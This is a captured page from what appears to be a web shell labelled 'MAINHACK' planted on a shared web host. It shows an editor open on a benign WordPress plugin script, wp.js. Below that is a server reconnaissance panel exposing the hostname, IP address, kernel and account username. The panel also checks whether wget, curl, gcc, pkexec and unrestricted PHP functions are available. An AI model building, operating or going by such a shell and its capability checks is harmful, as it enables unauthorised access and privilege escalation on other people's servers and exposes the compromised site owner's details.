[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wp.js
import { AI_HOST } from '@constants'; import apiFetch from '@wordpress/api-fetch'; import { addQueryArgs } from '@wordpress/url'; export const getPlugin = async (slug) => { const response = await apiFetch({ path: addQueryArgs('/wp/v2/plugins', { search: slug }), }); const plugin = response?.[0]; if (!plugin) throw new Error('Plugin not found'); return plugin; }; export const getAllPlugins = async () => { const response = await apiFetch({ path: '/wp/v2/plugins', }); if (!response) { throw new Error('Failed to fetch installed plugins'); } return response; }; export const installPlugin = async (slug) => { return await apiFetch({ path: '/wp/v2/plugins', method: 'POST', data: { slug, }, }); }; export const activatePlugin = async (slug) => { const plugin = await getPlugin(slug); return await apiFetch({ path: `/wp/v2/plugins/${plugin.plugin}`, method: 'POST', data: { status: 'active', }, }); }; export const loadImage = (img) => { return new Promise((resolve, reject) => { img.onload = () => resolve(img); img.onerror = (e) => reject(e); }); }; export const importImage = async (imageUrl, metadata = {}) => { const image = new Image(); image.src = imageUrl; image.crossOrigin = 'anonymous'; await loadImage(image); const canvas = document.createElement('canvas'); canvas.width = image.width; canvas.height = image.height; const ctx = canvas.getContext('2d'); if (!ctx) return; ctx.drawImage(image, 0, 0); const blob = await new Promise((resolve) => { canvas.toBlob((blob) => { blob && resolve(blob); }, 'image/jpeg'); }); const formData = new FormData(); formData.append('file', new File([blob], metadata.filename)); formData.append('alt_text', metadata.alt ?? ''); formData.append('caption', metadata.caption ?? ''); formData.append('status', 'publish'); return await apiFetch({ path: 'wp/v2/media', method: 'POST', body: formData, }); }; export const importImageServer = async (src, metadata = {}) => { const formData = new FormData(); formData.append('source', src); // Fallback doesn't support custom file_name formData.append('alt_text', metadata.alt ?? ''); formData.append('caption', metadata.caption ?? ''); return await apiFetch({ path: '/extendify/v1/draft/upload-image', method: 'POST', body: formData, }); }; export const downloadImage = async ( id, src, source, unsplashId, metadata = { alt: '', caption: '' }, ) => { let image; if (unsplashId) { await downloadPing(id, source, { unsplashId }); } try { image = await importImage(src, { alt: metadata.alt, filename: 'image.jpg', caption: metadata.caption, }); } catch (_e) { image = await importImageServer(src, { alt: metadata.alt, filename: 'image.jpg', caption: metadata.caption, }); } return image; }; export const downloadPing = (id, source, details = {}) => fetch(`${AI_HOST}/api/draft/image/download`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ id, source, ...details }), });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830